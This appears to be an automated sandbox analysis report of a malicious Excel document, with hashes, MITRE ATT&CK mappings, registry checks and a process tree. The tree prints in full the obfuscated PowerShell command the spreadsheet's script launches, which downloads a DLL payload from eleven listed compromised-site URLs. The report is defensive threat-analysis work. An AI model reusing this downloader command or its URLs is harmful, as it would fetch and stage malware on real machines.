f5f024a4584870f53bbbe5071aaa038b6cbc6d53c43e74c861e2a6b4ef769ffe

General

Target

f5f024a4584870f53bbbe5071aaa038b6cbc6d53c43e74c861e2a6b4ef769ffe.xls
Size

88KB
MD5

aeb067aa4469ab8451f4c31d84972d4c
SHA1

3eb12a9a92320e51288a29dc75b369ad1635b443
SHA256

f5f024a4584870f53bbbe5071aaa038b6cbc6d53c43e74c861e2a6b4ef769ffe
SHA512

b3f3d4719583c0cdb57d2ed1e0f44753ac56283580f917fb3aa7b67acb743c88e38f0fd5fc7bde9cb187cd3f4046d1de30b235552389a17d35877fd7a29c6442
SSDEEP

1536:Iyehv7q2Pjx45uoDGTj+5xtekEvi8/dg38EsAeE9jbDXQfJkWvgrPE4nWHPNc2Al:Iyehv7q2Pjx45uoDGTj+5xtekEvi8/dk

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://wearsweetbomb.com/wp-content/15zZybP1EXttxDK4JH/

exe.dropper

https://1566xueshe.com/wp-includes/z92ZVqHH8/

exe.dropper

http://mymicrogreen.mightcode.com/Fox-C/NWssAbNOJDxhs/

exe.dropper

http://o2omart.co.in/infructuose/m4mgt2MeU/

exe.dropper

http://mtc.joburg.org.za/-/GBGJeFxXWlNbABv2/

exe.dropper

http://www.ama.cu/jpr/VVP/

exe.dropper

http://actividades.laforetlanguages.com/wp-admin/dU8Ds/

exe.dropper

https://dwwmaster.com/wp-content/1sR2HfFxQnkWuu/

exe.dropper

https://edu-media.cn/wp-admin/0JAE/

exe.dropper

https://iacademygroup.cl/office/G42LJPLkl/

exe.dropper

https://znzhou.top/mode/0Qb/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1620	4844	wscript.exe	82

Blocklisted process makes network request 6 IoCs

flow	pid	Process
26	4072	powershell.exe
37	4072	powershell.exe
41	4072	powershell.exe
49	4072	powershell.exe
59	4072	powershell.exe
61	4072	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4072	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4844	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4072	powershell.exe
4072	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4072	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE
4844	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4844 wrote to memory of 1620	4844	EXCEL.EXE	87
PID 4844 wrote to memory of 1620	4844	EXCEL.EXE	87
PID 1620 wrote to memory of 4072	1620	wscript.exe	88
PID 1620 wrote to memory of 4072	1620	wscript.exe	88

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\f5f024a4584870f53bbbe5071aaa038b6cbc6d53c43e74c861e2a6b4ef769ffe.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4844
- C:\Windows\SYSTEM32\wscript.exe
  wscript c:\programdata\bbiwjdf.vbs
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1620
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"http:dhjdhjwearsweetbomb.comdhjwp-contentdhj15zZybP1EXttxDK4JHdhjbouhttps:dhjdhj1566xueshe.comdhjwp-includesdhjz92ZVqHH8dhjbouhttp:dhjdhjmymicrogreen.mightcode.comdhjFox-CdhjNWssAbNOJDxhsdhjbouhttp:dhjdhjo2omart.co.indhjinfructuosedhjm4mgt2MeUdhjbouhttp:dhjdhjmtc.joburg.org.zadhj-dhjGBGJeFxXWlNbABv2dhjbouhttp:dhjdhjwww.ama.cudhjjprdhjVVPdhjbouhttp:dhjdhjactividades.laforetlanguages.comdhjwp-admindhjdU8Dsdhjbouhttps:dhjdhjdwwmaster.comdhjwp-contentdhj1sR2HfFxQnkWuudhjbouhttps:dhjdhjedu-media.cndhjwp-admindhj0JAEdhjbouhttps:dhjdhjiacademygroup.cldhjofficedhjG42LJPLkldhjbouhttps:dhjdhjznzhou.topdhjmodedhj0Qbdhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\oiphilfj.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 47523){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4072

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3qaqoq0y.hvy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
\??\c:\programdata\bbiwjdf.vbs

Filesize
1KB

MD5
7baad56cc483132b8b9cb7a14722c3b1

SHA1
602f7933c443765697bb178ca137f17f81856f0d

SHA256
31cb0d7a224f16ec4e998140c4efde8ef752295b8a88080915f0bb2b49034bee

SHA512
b1429608e2068dbe868254f9c3130e8ef75932169c417d0928679c3476614df588a72722e34891a2fe80db41e5e8ee054761af2f2fc3b9c6f0e956de8c9a993f

Download Submit
memory/4072-136-0x0000024EB1B20000-0x0000024EB22C6000-memory.dmp

Filesize
7.6MB

Download
memory/4072-116-0x0000024EB0E80000-0x0000024EB0EA2000-memory.dmp

Filesize
136KB

Download
memory/4844-7-0x00007FFDA2110000-0x00007FFDA2120000-memory.dmp

Filesize
64KB

Download
memory/4844-42-0x00007FFDE2090000-0x00007FFDE2285000-memory.dmp

Filesize
2.0MB

Download
memory/4844-0-0x00007FFDA2110000-0x00007FFDA2120000-memory.dmp

Filesize
64KB

Download
memory/4844-6-0x00007FFDE2090000-0x00007FFDE2285000-memory.dmp

Filesize
2.0MB

Download
memory/4844-10-0x00007FFDE2090000-0x00007FFDE2285000-memory.dmp

Filesize
2.0MB

Download
memory/4844-11-0x00007FFDE2090000-0x00007FFDE2285000-memory.dmp

Filesize
2.0MB

Download
memory/4844-9-0x00007FFDE2090000-0x00007FFDE2285000-memory.dmp

Filesize
2.0MB

Download
memory/4844-8-0x00007FFDE2090000-0x00007FFDE2285000-memory.dmp

Filesize
2.0MB

Download
memory/4844-12-0x00007FFD9F9E0000-0x00007FFD9F9F0000-memory.dmp

Filesize
64KB

Download
memory/4844-13-0x00007FFD9F9E0000-0x00007FFD9F9F0000-memory.dmp

Filesize
64KB

Download
memory/4844-25-0x00007FFDE2090000-0x00007FFDE2285000-memory.dmp

Filesize
2.0MB

Download
memory/4844-5-0x00007FFDE2090000-0x00007FFDE2285000-memory.dmp

Filesize
2.0MB

Download
memory/4844-114-0x00007FFDE2090000-0x00007FFDE2285000-memory.dmp

Filesize
2.0MB

Download
memory/4844-4-0x00007FFDA2110000-0x00007FFDA2120000-memory.dmp

Filesize
64KB

Download
memory/4844-2-0x00007FFDA2110000-0x00007FFDA2120000-memory.dmp

Filesize
64KB

Download
memory/4844-3-0x00007FFDA2110000-0x00007FFDA2120000-memory.dmp

Filesize
64KB

Download
memory/4844-126-0x00007FFDE2090000-0x00007FFDE2285000-memory.dmp

Filesize
2.0MB

Download
memory/4844-127-0x00007FFDE212D000-0x00007FFDE212E000-memory.dmp

Filesize
4KB

Download
memory/4844-128-0x00007FFDE2090000-0x00007FFDE2285000-memory.dmp

Filesize
2.0MB

Download
memory/4844-132-0x00007FFDE2090000-0x00007FFDE2285000-memory.dmp

Filesize
2.0MB

Download
memory/4844-133-0x00007FFDE2090000-0x00007FFDE2285000-memory.dmp

Filesize
2.0MB

Download
memory/4844-1-0x00007FFDE212D000-0x00007FFDE212E000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads